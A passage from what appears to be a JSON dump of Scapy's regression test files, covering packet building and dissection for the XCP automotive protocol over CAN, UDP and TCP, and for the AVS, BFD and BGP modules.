event_info_response.daq_event_properties\nassert \"x_6\" not in event_info_response.daq_event_properties\nassert \"x_7\" not in event_info_response.daq_event_properties\n\nassert event_info_response.max_daq_list == 0x01\nassert event_info_response.event_channel_name_length == 0x05\nassert event_info_response.event_channel_time_cycle == 0x0a\nassert event_info_response.event_channel_time_unit == 0x60\nassert event_info_response.event_channel_priority == 0x00\n\n= test_daq_list_info\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / GetDaqListInfo(b'\\xff\\x00\\x00')\nassert cto_request.pid == 0xd8\nassert bytes(cto_request) == b'\\xd8\\xff\\x00\\x00'\nassert cto_request['GetDaqListInfo'].daq_list_num == 0x0000\n\ncto_response = CTOResponse(b'\\xFF\\x04\\x03\\x0a\\x00\\x00')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nlist_info_response = cto_response[\"DAQListInfoPositiveResponse\"]\nassert list_info_response.daq_list_properties == 0x04\nassert \"predefined\" not in list_info_response.daq_list_properties\nassert \"event_fixed\" not in list_info_response.daq_list_properties\nassert \"daq\" in list_info_response.daq_list_properties\nassert \"stim\" not in list_info_response.daq_list_properties\nassert \"x_4\" not in list_info_response.daq_list_properties\nassert \"x_5\" not in list_info_response.daq_list_properties\nassert \"x_6\" not in list_info_response.daq_list_properties\nassert \"x_7\" not in list_info_response.daq_list_properties\n\nassert list_info_response.max_odt == 0x03\nassert list_info_response.max_odt_entries == 0x0a\nassert list_info_response.fixed_event == 0x00\n\n= test_clear_daq_list\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / ClearDaqList(b'\\xff\\x00\\x00')\nassert cto_request.pid == 0xe3\nassert bytes(cto_request) == b'\\xe3\\xff\\x00\\x00'\nassert cto_request['ClearDaqList'].daq_list_num == 0x0000\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_alloc_daq\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / AllocDaq(b'\\xff\\x01\\x00')\nassert cto_request.pid == 0xd5\nassert bytes(cto_request) == b'\\xd5\\xff\\x01\\x00'\nassert cto_request['AllocDaq'].daq_count == 0x0001\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_alloc_odt\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / AllocOdt(b'\\xff\\x00\\x00\\x01')\nassert cto_request.pid == 0xd4\nassert bytes(cto_request) == b'\\xd4\\xff\\x00\\x00\\x01'\nassert cto_request['AllocOdt'].daq_list_num == 0x0000\nassert cto_request['AllocOdt'].odt_count == 0x01\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_alloc_odt_entry\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / AllocOdtEntry(b'\\xff\\x00\\x00\\x00\\x02')\nassert cto_request.pid == 0xd3\nassert bytes(cto_request) == b'\\xd3\\xff\\x00\\x00\\x00\\x02'\nassert cto_request['AllocOdtEntry'].daq_list_num == 0x0000\nassert cto_request['AllocOdtEntry'].odt_num == 0x00\nassert cto_request['AllocOdtEntry'].odt_entries_count == 0x02\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_set_daq_ptr\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / SetDaqPtr(b'\\xff\\x00\\x00\\x00\\x00')\nassert cto_request.pid == 0xe2\nassert bytes(cto_request) == b'\\xe2\\xff\\x00\\x00\\x00\\x00'\nassert cto_request['SetDaqPtr'].daq_list_num == 0x0000\nassert cto_request['SetDaqPtr'].odt_num == 0x00\nassert cto_request['SetDaqPtr'].odt_entry_num == 0x00\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_write_daq\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / WriteDaq(b'\\xFF\\x04\\x00\\x08\\x55\\x0C\\x00')\nassert cto_request.pid == 0xe1\nassert bytes(cto_request) == b'\\xe1\\xFF\\x04\\x00\\x08\\x55\\x0C\\x00'\nassert cto_request['WriteDaq'].bit_offset == 0xff\nassert cto_request['WriteDaq'].size_of_daq_element == 0x04\nassert cto_request['WriteDaq'].address_extension == 0x00\nassert cto_request['WriteDaq'].address == 0x000C5508\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_set_daq_list_mode(self):\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / SetDaqListMode(b'\\x10\\x00\\x00\\x00\\x00\\x01\\x00')\nassert cto_request.pid == 0xe0\nassert bytes(cto_request) == b'\\xe0\\x10\\x00\\x00\\x00\\x00\\x01\\x00'\nset_daq_list_mode_request = cto_request['SetDaqListMode']\nassert set_daq_list_mode_request.mode == 0x10\nassert \"x0\" not in set_daq_list_mode_request.mode\nassert \"direction\" not in set_daq_list_mode_request.mode\nassert \"x2\" not in set_daq_list_mode_request.mode\nassert \"x3\" not in set_daq_list_mode_request.mode\nassert \"timestamp\" in set_daq_list_mode_request.mode\nassert \"pid_off\" not in set_daq_list_mode_request.mode\nassert \"x6\" not in set_daq_list_mode_request.mode\nassert \"x7\" not in set_daq_list_mode_request.mode\n\nassert set_daq_list_mode_request.daq_list_num == 0x0000\nassert set_daq_list_mode_request.event_channel_num == 0x0000\nassert set_daq_list_mode_request.transmission_rate_prescaler == 0x01\nassert set_daq_list_mode_request.daq_list_prio == 0x00\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_start_stop_daq_list\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / StartStopDaqList(b'\\x02\\x00\\x00')\nassert cto_request.pid == 0xde\nassert bytes(cto_request) == b'\\xde\\x02\\x00\\x00'\nassert cto_request['StartStopDaqList'].mode == 0x02\nassert cto_request['StartStopDaqList'].daq_list_number == 0x0000\n\ncto_response = CTOResponse(b'\\xFF\\xbb')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nassert cto_response['StartStopDAQListPositiveResponse'].first_pid == 0xbb\n\n= test_get_daq_clock\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / GetDaqClock()\nassert cto_request.pid == 0xdc\nassert bytes(cto_request) == b'\\xdc'\n\ncto_response = CTOResponse(b'\\xFF\\xFF\\xFF\\xFF\\xAA\\xC5\\x00\\x00')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nget_daq_clock_response = cto_response[\"DAQClockListPositiveResponse\"]\n\nassert get_daq_clock_response.receive_timestamp == 0x0000C5AA\n\n= Test negative response\n\ncto_request = CTORequest() / GetCommModeInfo()\ncto_response = CTOResponse() / NegativeResponse()\nassert cto_response.packet_code == 0xFE\nassert cto_response.answers(cto_request)\n\n= test_start_stop_synch\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / StartStopSynch(b'\\x01')\nassert cto_request.pid == 0xdd\nassert bytes(cto_request) == b'\\xdd\\x01'\nassert cto_request['StartStopSynch'].mode == 0x01\n\ncto_response = CTOResponse(b'\\xFF')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_program_start\n\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / ProgramStart()\nassert cto_request.pid == 0xd2\nassert bytes(cto_request) == b'\\xd2'\n\ncto_response = CTOResponse(b'\\xFF\\xff\\x01\\x08\\x2A\\xFF\\xdd')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\nprogram_start_response = cto_response['ProgramStartPositiveResponse']\n\nassert program_start_response.comm_mode_pgm == 0x01\nassert \"master_block_mode\" in program_start_response.comm_mode_pgm\nassert \"interleaved_mode\" not in program_start_response.comm_mode_pgm\nassert \"x2\" not in program_start_response.comm_mode_pgm\nassert \"x3\" not in program_start_response.comm_mode_pgm\nassert \"x4\" not in program_start_response.comm_mode_pgm\nassert \"x5\" not in program_start_response.comm_mode_pgm\nassert \"slave_block_mode\" not in program_start_response.comm_mode_pgm\nassert \"x7\" not in program_start_response.comm_mode_pgm\n\nassert program_start_response.max_cto_pgm == 0x08\nassert program_start_response.max_bs_pgm == 0x2a\nassert program_start_response.min_bs_pgm == 0xff\nassert program_start_response.queue_size_pgm == 0xdd\n\n= test_program_clear(self):\nconf.contribs['XCP']['byte_order'] = 0\n\ncto_request = CTORequest() / ProgramClear(b'\\x00\\xff\\xff\\x00\\x01\\x00\\x00')\nassert cto_request.pid == 0xd1\nassert bytes(cto_request) == b'\\xd1\\x00\\xff\\xff\\x00\\x01\\x00\\x00'\n\nassert cto_request['ProgramClear'].mode == 0x00\nassert cto_request['ProgramClear'].clear_range == 0x00000100\n\ncto_response = CTOResponse(b'\\xff')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n= test_program\n\nconf.contribs['XCP']['byte_order'] = 0\nconf.contribs['XCP']['MAX_CTO'] = 8\nconf.contribs['XCP']['Address_Granularity_Byte'] = 1\n\ncto_request = CTORequest() / Program(b'\\x06\\x00\\x01\\x02\\x03\\x04\\x05')\nassert cto_request.pid == 0xd0\nassert bytes(cto_request) == b'\\xd0\\x06\\x00\\x01\\x02\\x03\\x04\\x05'\n\nassert cto_request['Program'].nr_of_data_elements == 0x06\nassert cto_request['Program'].data_elements == b\"\\x00\\x01\\x02\\x03\\x04\\x05\"\n\ncto_response = CTOResponse(b'\\xff')\nassert cto_response.packet_code == 0xFF\nassert cto_response.answers(cto_request)\n\n\n+ Tests for XCPonUDP\n\n= CONNECT\n\ncto_request = XCPOnUDP(ctr=0, sport=1, dport=1) / CTORequest() / Connect()\n\nassert cto_request.length is None\nassert cto_request.ctr == 0\n\nassert cto_request.pid == 0xFF\nassert cto_request.connection_mode == 0\nassert bytes(cto_request).endswith(b'\\x00\\x02\\x00\\x00\\xff\\x00')\nxcp_on_udp = XCPOnUDP(b'\\x00\\x01\\x00\\x01\\x00\\x0c\\x00\\x00\\x00\\x08\\x00\\x01\\xff\\x15\\xC0\\x08\\x08\\x00\\x10\\x10')\nassert xcp_on_udp.length == 8\nassert xcp_on_udp.ctr == 1\n\nassert xcp_on_udp.answers(cto_request)\ncto_response = xcp_on_udp[\"CTOResponse\"]\nassert cto_response.packet_code == 0xFF\n\nconnect_response = cto_response[\"ConnectPositiveResponse\"]\nassert connect_response.resource == 0x15\nassert connect_response.comm_mode_basic == 0xC0\nassert connect_response.max_cto == 8\nassert connect_response.max_cto == 8\n\nassert connect_response.xcp_protocol_layer_version_number_msb == 0x10\nassert connect_response.xcp_transport_layer_version_number_msb == 0x10\n\nassert conf.contribs['XCP']['byte_order'] == 0\nassert conf.contribs['XCP']['MAX_CTO'] == 8\nassert conf.contribs['XCP']['MAX_DTO'] == 8\nassert conf.contribs['XCP']['Address_Granularity_Byte'] == 1\n\n= CONNECT 2\n\nprt1, prt2 = 12345, 54321\nxcp_on_udp_request = XCPOnUDP(sport=prt1, dport=prt2, ctr=0) / CTORequest() / Connect()\n\nassert xcp_on_udp_request.length is None\nassert xcp_on_udp_request.ctr == 0\nassert xcp_on_udp_request.pid == 0xFF\nassert xcp_on_udp_request.connection_mode == 0\nassert bytes(xcp_on_udp_request).endswith(b'\\x00\\x02\\x00\\x00\\xff\\x00')\n\nxcp_on_udp_response = XCPOnUDP(b'\\xd4109\\x00\\x0c\\x00\\x00\\x00\\x08\\x00\\x01\\xff\\x15\\xC0\\x08\\x08\\x00\\x10\\x10')\nassert xcp_on_udp_response.length == 8\nassert xcp_on_udp_response.ctr == 1\nassert xcp_on_udp_response.answers(xcp_on_udp_request)\n\ncto_response = xcp_on_udp_response[\"CTOResponse\"]\nassert cto_response.packet_code == 0xFF\n\nconnect_response = cto_response[\"ConnectPositiveResponse\"]\nassert connect_response.resource == 0x15\nassert connect_response.comm_mode_basic == 0xC0\nassert connect_response.max_cto == 8\nassert connect_response.max_cto == 8\nassert connect_response.xcp_protocol_layer_version_number_msb == 0x10\nassert connect_response.xcp_transport_layer_version_number_msb == 0x10\nassert conf.contribs['XCP']['byte_order'] == 0\nassert conf.contribs['XCP']['MAX_CTO'] == 8\nassert conf.contribs['XCP']['MAX_DTO'] == 8\nassert conf.contribs['XCP']['Address_Granularity_Byte'] == 1\n\n= XCPOnUDP post build length\n\nxcp_on_udp_request = XCPOnUDP(sport=1, dport=2, ctr=0) / CTORequest() / Connect()\nassert bytes(xcp_on_udp_request)[8:10] == b'\\x00\\x02'\n\n+ Tests XCPonTCP\n\n= CONNECT\n\nprt1, prt2 = 12345, 54321\n\nxcp_on_tcp_request = XCPOnTCP(sport=prt1, dport=prt2, ctr=0) / CTORequest() / Connect()\nassert xcp_on_tcp_request.length is None\nassert xcp_on_tcp_request.ctr == 0\nassert xcp_on_tcp_request.pid == 0xFF\nassert xcp_on_tcp_request.connection_mode == 0\nassert bytes(xcp_on_tcp_request).endswith(b'\\x00\\x02\\x00\\x00\\xff\\x00')\n\nxcp_on_tcp_response = XCPOnTCP(b'\\xd4109\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x12 \\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\xff\\x15\\xC0\\x08\\x08\\x00\\x10\\x10')\nassert xcp_on_tcp_response.length == 8\nassert xcp_on_tcp_response.ctr == 1\nassert xcp_on_tcp_response.answers(xcp_on_tcp_request)\n\ncto_response = xcp_on_tcp_response[\"CTOResponse\"]\nassert cto_response.packet_code == 0xFF\n\nconnect_response = cto_response[\"ConnectPositiveResponse\"]\nassert connect_response.resource == 0x15\nassert connect_response.comm_mode_basic == 0xC0\nassert connect_response.max_cto == 8\nassert connect_response.max_cto == 8\nassert connect_response.xcp_protocol_layer_version_number_msb == 0x10\nassert connect_response.xcp_transport_layer_version_number_msb == 0x10\nassert conf.contribs['XCP']['byte_order'] == 0\nassert conf.contribs['XCP']['MAX_CTO'] == 8\nassert conf.contribs['XCP']['MAX_DTO'] == 8\nassert conf.contribs['XCP']['Address_Granularity_Byte'] == 1\n\n\n= XCPOnTCP post build length\n\nxcp_on_tcp_request = XCPOnTCP(sport=prt1, dport=prt2, ctr=0) / CTORequest() / Connect()\nassert bytes(xcp_on_tcp_request)[20:22] == b'\\x00\\x02'\n"
  },
  {
    "path": "test/contrib/automotive/xcp/xcp_comm.uts",
    "content": "% Regression tests for the XCP using CANSockets\n\n############\n############\n\n+ Configuration\n~ conf\n\n= Imports\n\nfrom test.testsocket import TestSocket, cleanup_testsockets\n\n= Load module\n\nload_contrib(\"automotive.xcp.xcp\",  globals_dict=globals())\n\n= Connect\n\nsock1 = TestSocket(XCPOnCAN)\nsock2 = TestSocket(XCPOnCAN)\nsock1.pair(sock2)\n\nresponse = XCPOnCAN(identifier=0x700) / CTOResponse() / ConnectPositiveResponse(b'\\x15\\xC0\\x08\\x08\\x00\\x10\\x10')\nsniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=lambda x: sock2.send(response))\nsniffer.start()\npkt = XCPOnCAN(identifier=0x700) / CTORequest() / Connect()\nans = sock1.sr1(pkt, timeout=0.5, verbose=False)\nsniffer.join(timeout=1)\n\nassert ans.identifier == 0x700\ncto_response = ans[\"CTOResponse\"]\nassert cto_response.packet_code == 0xff\n\nconnect_response = cto_response[\"ConnectPositiveResponse\"]\n\nassert connect_response.resource == 0x15\nassert connect_response.comm_mode_basic == 0xC0\nassert connect_response.max_cto == 8\nassert connect_response.max_dto is None\nassert connect_response.max_dto_le == 8\n\nassert connect_response.xcp_protocol_layer_version_number_msb == 0x10\nassert connect_response.xcp_transport_layer_version_number_msb == 0x10\n\n\ncto_request = XCPOnCAN(identifier=0x700) / CTORequest() / Connect()\n\nassert cto_request.identifier == 0x700\nassert cto_request.pid == 0xFF\nassert cto_request.connection_mode == 0\nassert bytes(cto_request) == b'\\x00\\x00\\x07\\x00\\x02\\x00\\x00\\x00\\xff\\x00'\n\nxcp_on_can = XCPOnCAN(b'\\x00\\x00\\x05\\x00\\x08\\x00\\x00\\x00\\xff\\x15\\xC0\\x08\\x08\\x00\\x10\\x10')\nassert xcp_on_can.identifier == 0x500\nassert xcp_on_can.answers(cto_request)\n\ncto_response = xcp_on_can[\"CTOResponse\"]\nassert cto_response.packet_code == 0xFF\n\nconnect_response = cto_response[\"ConnectPositiveResponse\"]\nassert connect_response.resource == 0x15\nassert connect_response.comm_mode_basic == 0xC0\nassert connect_response.max_cto == 8\nassert connect_response.max_cto == 8\n\nassert connect_response.xcp_protocol_layer_version_number_msb == 0x10\nassert connect_response.xcp_transport_layer_version_number_msb == 0x10\n\nassert conf.contribs['XCP']['byte_order'] == 0\nassert conf.contribs['XCP']['MAX_CTO'] == 8\nassert conf.contribs['XCP']['MAX_DTO'] == 8\nassert conf.contribs['XCP']['Address_Granularity_Byte'] == 1\n\n\n= Endianness test for ConnectPositiveResponse\n\np = ConnectPositiveResponse(b\"\\x00\\xFF\\x01\\x00\\xFF\\x05\\x05\")\nassert p.max_dto_le is None\nassert p.max_dto == 0xff\n\np = ConnectPositiveResponse(b\"\\x00\\x00\\x01\\xFF\\x00\\x05\\x05\")\nassert p.max_dto_le == 0xff\nassert p.max_dto is None\n\n\n= Wrong answer\n\nrequest = XCPOnCAN(identifier=0x700) / CTORequest() / Connect()\n\n# This response has not enough bytes for a ConnectPositiveResponse\nresponse = XCPOnCAN(identifier=0x90) / CTOResponse() / Raw(b'\\x01\\x02\\x03\\x04')\n\nassert not response.answers(request)\n\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()\n\n"
  },
  {
    "path": "test/contrib/avs.uts",
    "content": "% Regression tests for the avs module\n\n+ Basic AVS test\n\n= Default build, storage and dissection\n\npkt = AVSWLANHeader()/Dot11()/Dot11Auth()\n_filepath = get_temp_file(autoext=\".pcap\")\nwrpcap(_filepath, pkt)\npkt1 = rdpcap(_filepath)[0]\nassert raw(pkt) == raw(pkt1)\nassert AVSWLANHeader in pkt\nassert Dot11 in pkt\nassert Dot11Auth in pkt\n\ntry:\n    os.remove(_filepath)\nexcept Exception:\n    pass\n"
  },
  {
    "path": "test/contrib/bfd.uts",
    "content": "+ BFD\n\n= BFD, basic instantiation\n\nfrom scapy.contrib.bfd import *\na = UDP(sport=3784, dport=3784)/BFD()\nassert raw(a) == b'\\x0e\\xc8\\x0e\\xc8\\x00 \\x00\\x00 \\xc0\\x03\\x18\\x11\\x11\\x11\\x11\"\"\"\";\\x9a\\xca\\x00;\\x9a\\xca\\x00;\\x9a\\xca\\x00'\n\n= BFD - dissection\n\nassert BFD in UDP(raw(a))\n\n= BFD with OptionalAuth [Simple Password Auth]  [dissection]\np = UDP(b'\\x04\\x00\\x0e\\xc8\\x00\\x29\\x72\\x31\\x20\\x44\\x05\\x21\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0f\\x42\\x40\\x00\\x0f\\x42\\x40\\x00\\x00\\x00\\x00\\x01\\x09\\x02\\x73\\x65\\x63\\x72\\x65\\x74\\x4e\\x0a\\x90\\x40')\nassert(isinstance(p[1], BFD))\nassert(p[1].len == 33)\nassert(isinstance(p[2], OptionalAuth))\nassert(p[2].auth_type == 1)\nassert(p[2].auth_len == 9)\n\n= BFD with OptionalAuth [Keyed MD5 Auth]  [dissection]\np = UDP(b'\\x04\\x00\\x0e\\xc8\\x00\\x38\\x6a\\xcc\\x20\\x44\\x05\\x30\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0f\\x42\\x40\\x00\\x0f\\x42\\x40\\x00\\x00\\x00\\x00\\x02\\x18\\x02\\x00\\x00\\x00\\x00\\x05\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x3c\\xc3\\xf8\\x21')\nassert(isinstance(p[1], BFD))\nassert(p[1].len == 48)\nassert(isinstance(p[2], OptionalAuth))\nassert(p[2].auth_type ==2)\nassert(p[2].auth_len == 24)\n\n= BFD with OptionalAuth [Meticulous Keyed SHA1 Auth]  [dissection]\np = UDP(b'\\x04\\x00\\x0e\\xc8\\x00\\x3c\\x37\\x8a\\x20\\x44\\x05\\x34\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0f\\x42\\x40\\x00\\x0f\\x42\\x40\\x00\\x00\\x00\\x00\\x05\\x1c\\x02\\x00\\x00\\x00\\x00\\x05\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\xea\\x6d\\x1f\\x21')\nassert(isinstance(p[1], BFD))\nassert(p[1].len == 52)\nassert(isinstance(p[2], OptionalAuth))\nassert(p[2].auth_type ==5)\nassert(p[2].auth_len == 28)\n\n= BFD with OptionalAuth [Simple Password Auth]  [Build]\np = UDP(sport=3784, dport=3784)/BFD(flags=\"A\", optional_auth=OptionalAuth(auth_type=1))\nassert raw(p) == b'\\x0e\\xc8\\x0e\\xc8\\x00+\\x00\\x00 \\xc4\\x03#\\x11\\x11\\x11\\x11\"\"\"\";\\x9a\\xca\\x00;\\x9a\\xca\\x00;\\x9a\\xca\\x00\\x01\\x0b\\x01password'\n\n= BFD with OptionalAuth [Keyed MD5 Auth]  [Build]\np = UDP(sport=3784, dport=3784)/BFD(flags=\"A\", optional_auth=OptionalAuth(auth_type=2))\nassert raw(p) == b'\\x0e\\xc8\\x0e\\xc8\\x008\\x00\\x00 \\xc4\\x030\\x11\\x11\\x11\\x11\"\"\"\";\\x9a\\xca\\x00;\\x9a\\xca\\x00;\\x9a\\xca\\x00\\x02\\x18\\x01\\x00\\x00\\x00\\x00\\x00_M\\xcc;Z\\xa7e\\xd6\\x1d\\x83\\'\\xde\\xb8\\x82\\xcf\\x99'\n\n= BFD with OptionalAuth [Meticulous Keyed SHA1 Auth]  [Build]\np = UDP(sport=3784, dport=3784)/BFD(flags=\"A\", optional_auth=OptionalAuth(auth_type=5))\nassert raw(p) == b'\\x0e\\xc8\\x0e\\xc8\\x00<\\x00\\x00 \\xc4\\x034\\x11\\x11\\x11\\x11\"\"\"\";\\x9a\\xca\\x00;\\x9a\\xca\\x00;\\x9a\\xca\\x00\\x05\\x1c\\x01\\x00\\x00\\x00\\x00\\x00[\\xaaa\\xe4\\xc9\\xb9??\\x06\\x82%\\x0bl\\xf83\\x1b~\\xe6\\x8f\\xd8'"
  },
  {
    "path": "test/contrib/bgp.uts",
    "content": "#################################### bgp.py ##################################\n% Regression tests for the bgp module\n\n+ Default configuration\n\n= OLD speaker (see RFC 6793)\nbgp_module_conf.use_2_bytes_asn  = True\n\n################################ BGPNLRI_IPv4 ################################\n+ BGPNLRI_IPv4 class tests\n\n= BGPNLRI_IPv4 - Instantiation\nraw(BGPNLRI_IPv4()) == b'\\x00'\n\n= BGPNLRI_IPv4 - Instantiation with specific values (1)\nraw(BGPNLRI_IPv4(prefix = '255.255.255.255/32')) == b' \\xff\\xff\\xff\\xff'\n\n= BGPNLRI_IPv4 - Instantiation with specific values (2)\nraw(BGPNLRI_IPv4(prefix = '0.0.0.0/0')) == b'\\x00'\n\n= BGPNLRI_IPv4 - Instantiation with specific values (3)\nraw(BGPNLRI_IPv4(prefix = '192.0.2.0/24')) == b'\\x18\\xc0\\x00\\x02'\n\n= BGPNLRI_IPv4 - Basic dissection\nnlri = BGPNLRI_IPv4(b'\\x00')\nnlri.prefix == '0.0.0.0/0'\n\n= BGPNLRI_IPv4 - Dissection with specific values\nnlri = BGPNLRI_IPv4(b'\\x18\\xc0\\x00\\x02')\nnlri.prefix == '192.0.2.0/24'\n\n\n################################ BGPNLRI_IPv6 ################################\n+ BGPNLRI_IPv6 class tests\n\n= BGPNLRI_IPv6 - Instantiation\nraw(BGPNLRI_IPv6()) == b'\\x00'\n\n= BGPNLRI_IPv6 - Instantiation with specific values (1)\nraw(BGPNLRI_IPv6(prefix = '::/0')) == b'\\x00'\n\n= BGPNLRI_IPv6 - Instantiation with specific values (2)\nraw(BGPNLRI_IPv6(prefix = '2001:db8::/32')) == b'  \\x01\\r\\xb8'\n\n= BGPNLRI_IPv6 - Basic dissection\nnlri = BGPNLRI_IPv6(b'\\x00')\nnlri.prefix == '::/0'\n\n= BGPNLRI_IPv6 - Dissection with specific values\nnlri = BGPNLRI_IPv6(b'  \\x01\\r\\xb8')\nnlri.prefix == '2001:db8::/32'\n\n\n#################################### BGP #####################################\n+ BGP class tests\n\n= BGP - Instantiation (Should be a KEEPALIVE)\nm = BGP()\nassert raw(m) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x04'\nassert m.type == BGP.KEEPALIVE_TYPE\n\n= BGP - Instantiation with specific values (1)\nraw(BGP(type = 0)) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x00'\n\n= BGP - Instantiation with specific values (2)\nraw(BGP(type = 1)) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x01'\n\n= BGP - Instantiation with specific values (3)\nraw(BGP(type = 2)) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x02'\n\n= BGP - Instantiation with specific values (4)\nraw(BGP(type = 3)) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x03'\n\n= BGP - Instantiation with specific values (5)\nraw(BGP(type = 4)) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x04'\n\n= BGP - Instantiation with specific values (6)\nraw(BGP(type = 5)) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x05'\n\n= BGP - Basic dissection\nh = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x04')\nassert h.type == BGP.KEEPALIVE_TYPE\nassert h.len == 19\n\n= BGP - Dissection with specific values\nh = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x01')\nassert h.type == BGP.OPEN_TYPE\nassert h.len == 19\n\n= BGP - Test TCP reassembly\npkts = sniff(offline=scapy_path(\"/test/pcaps/bgp_fragmented.pcap.gz\"), session=TCPSession)\nassert len(pkts) == 1\nassert BGPUpdate in pkts[0]\nassert len(pkts[0].nlri) == 512\nassert pkts[0].nlri[511].prefix == '91.0.177.0/24'\n\n############################### BGPKeepAlive  #################################\n+ BGPKeepAlive class tests\n\n= BGPKeepAlive - Instantiation (by default, should be a \"generic\" capability)\nraw(BGPKeepAlive())\nraw(BGPKeepAlive()) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x13\\x04'\n\n= BGPKeepAlive - Swallowing tests: combined BGPKeepAlive\no = BGPKeepAlive()\nm=IP(src=\"12.0.0.1\",dst=\"12.0.0.2\")/TCP(dport=54321)/BGP(raw(o)*2)\nm.show()\nassert isinstance(m[BGPKeepAlive].payload, BGPKeepAlive)\nassert m[BGPKeepAlive].payload.marker == 0xffffffffffffffffffffffffffffffff\n\n############################### BGPCapability #################################\n+ BGPCapability class tests\n\n= BGPCapability - Instantiation (by default, should be a \"generic\" capability)\nraw(BGPCapability())\nraw(BGPCapability()) == b'\\x00\\x00'\n\n= BGPCapability - Instantiation with specific values (1)\nc = BGPCapability(code = 70)\nassert raw(c) == b'F\\x00'\n\n= BGPCapability - Check exception\nfrom scapy.contrib.bgp import _BGPInvalidDataException\ntry:\n  BGPCapability(\"\\x00\")\n  False\nexcept _BGPInvalidDataException:\n  True\n\n= BGPCapability - Test haslayer()\nassert BGPCapFourBytesASN().haslayer(BGPCapability)\nassert BGPCapability in BGPCapFourBytesASN()\n\n= BGPCapability - Test getlayer()\nassert isinstance(BGPCapFourBytesASN().getlayer(BGPCapability), BGPCapFourBytesASN)\nassert isinstance(BGPCapFourBytesASN()[BGPCapability], BGPCapFourBytesASN)\n\n= BGPCapability - sessions (1)\np = IP()/TCP()/BGPCapability()\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n\n= BGPCapability - sessions (2)\np = IP()/UDP()/BGPCapability()\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n\n\n############################ BGPCapMultiprotocol ##############################\n+ BGPCapMultiprotocol class tests\n\n= BGPCapMultiprotocol - Inheritance\nc = BGPCapMultiprotocol()\nassert isinstance(c, BGPCapability)\n\n= BGPCapMultiprotocol - Instantiation\nraw(BGPCapMultiprotocol()) == 